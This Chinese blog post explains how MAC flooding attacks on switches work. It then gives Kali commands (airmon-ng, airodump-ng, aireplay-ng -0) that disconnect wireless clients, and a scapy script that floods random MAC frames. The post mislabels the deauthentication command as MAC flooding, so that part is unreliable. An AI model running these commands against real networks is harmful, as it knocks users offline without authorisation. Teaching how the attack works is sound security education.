无线安全~mac泛洪攻击方法、原理和python脚本实现

MAC泛洪攻击的原理

    MAC泛洪攻击主要是利用局域网交换机的mac学习和老化机制。

交换机的mac学习机制

    mac表的结构,内部mac表都是有大小的,一般8k左右,一但mac表满了,其他mac地址就加不进来,内部mac表是将主机的mac地址和连接到交换机上的端口号进行绑定,这样可以根据mac地址找到端口进行转发。一开始的时候,没有主机连接,交换机内的mac表是空白的,这时候就要进行学习

    下面咱们幻想出一个场景: PC1这时候想往PC2发送数据,数据帧经过交换机的时候,交换机会把数据帧中的源mac地址和进入的端口号记录到mac表中; 由于一开始mac表中没有PC2的mac地址和端口绑定,所以交换机会将这个数据帧进行全网转发,就是所谓的广播,也叫泛洪。
    交换机将所有数据帧进行全网转发后,每台主机的协议栈会比对数据帧的目的mac地址是否和自身的一样,如果一样就进行应答,如果不一样,就进行丢弃(注意:那些mac地址不相同的主机网卡也会接收到数据帧,只是不予理会,对网卡进行抓包是能看到数据帧的)。
  这个时候,PC2接收到了数据帧,并进行应答。应答数据帧经过交换机的时候,交换机会将应答数据帧的源mac地址和端口号学习到mac表中,也就是PC2的mac地址和端口号绑定。
  交换机根据应答数据帧的目的mac地址,开始查询mac表,发现PC1的记录存在,就根据这绑定的端口号,直接将应答数据帧发给了PC1。这就是整个mac地址表的学习过程。

交换机的mac老化机制

    若交换机与某台主机长时间未通信,交换机就会把该主机的mac地址从mac地址表里删除掉,等下次通信时重新学习地址。

泛洪攻击的可能性

    正常的通信是除非一开始mac表中没有目标主机的mac和端口,这样才进行数据广播,只要mac表中有相应的绑定关系,之后两台主机间的 通信,都是由交换机直接根据mac和端口绑定进行转发,其他的主机是获取不到这两台主机之间的数据的。
  泛洪攻击的目标就是想获取主机之间的通信数据。要想达到这个目的,就需要强迫交换机进行数据广播,那就要实现mac表中没有目标主机 的mac和端口绑定。泛洪攻击的实现方法就是通过伪造大量的未知mac地址进行通信,交换机进行不断的学习,很快mac表就会被充满,这样正常的主机的mac地址在经过老化之后,就无法再添加到mac地址表中,导致之后的数据都变成了广播。
  
以上原理参考链接https://blog.csdn.net/qiye_/article/details/80544321

kali泛洪攻击实现

    前提需一个无线网卡,首先执行airmon-ng start wlan0启动无线网卡杂合模式,对整个无线网络进行监听

无线安全~mac泛洪攻击方法、原理和python脚本实现_第1张图片

执行airodump-ng wlan0展示附近的无线详细信息

无线安全~mac泛洪攻击方法、原理和python脚本实现_第2张图片
    执行aireplay-ng -0 0 -a B4:86:55:74:A5:12 wlan0进行mac泛洪攻击,但是可能会报错,ap的信道和无线网卡执行的信道不一致,这时候我们就要重新执行airodump-ng wlan0 -c 3指定信道,然后在重新执行攻击命令
无线安全~mac泛洪攻击方法、原理和python脚本实现_第3张图片
攻击成功其他主机都会掉线

python脚本实现

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @File  : mac_flooding.py
# @Author: Feng
# @Date  : 2020/11/24
# @Desc  : trace
from scapy.all import *

def mac_flooding(iface='Intel(R) Wireless-AC 9560 160MHz'):
    while True:
        packet = Ether(src=RandMAC(),
               dst=RandMAC())/IP(src=RandIP('192.168.31.*'), dst=RandIP('192.168.31.1')) / ICMP()
        sendp(packet,iface=iface,loop=0)


if __name__ == '__main__':
    mac_flooding()

大概是这样,但是速度不够快,其他主机并不受影响,仅供理解和参考


ERRORS团队


    ERRORS团队源于网络空间安全的兴趣爱好者共同组建,致力于从网络安全的各个层面维护国家网络空间安全,团队成员拥有专业的渗透测试技术、安全评估能力、逆向分析技巧以及丰富的项目经验和实战经验。该团队是一支年轻的有生命力的团队,旨在通过知识分享、技术探讨提升网络安全意识和专业技能。


加入我们:

ERRORS团队主页:  https://www.sentrylab.cn/

盒子团队申请:      https://www.vulbox.com/team/ERRORS

或者邮件联系:      [email protected]


你可能感兴趣的:(无线安全)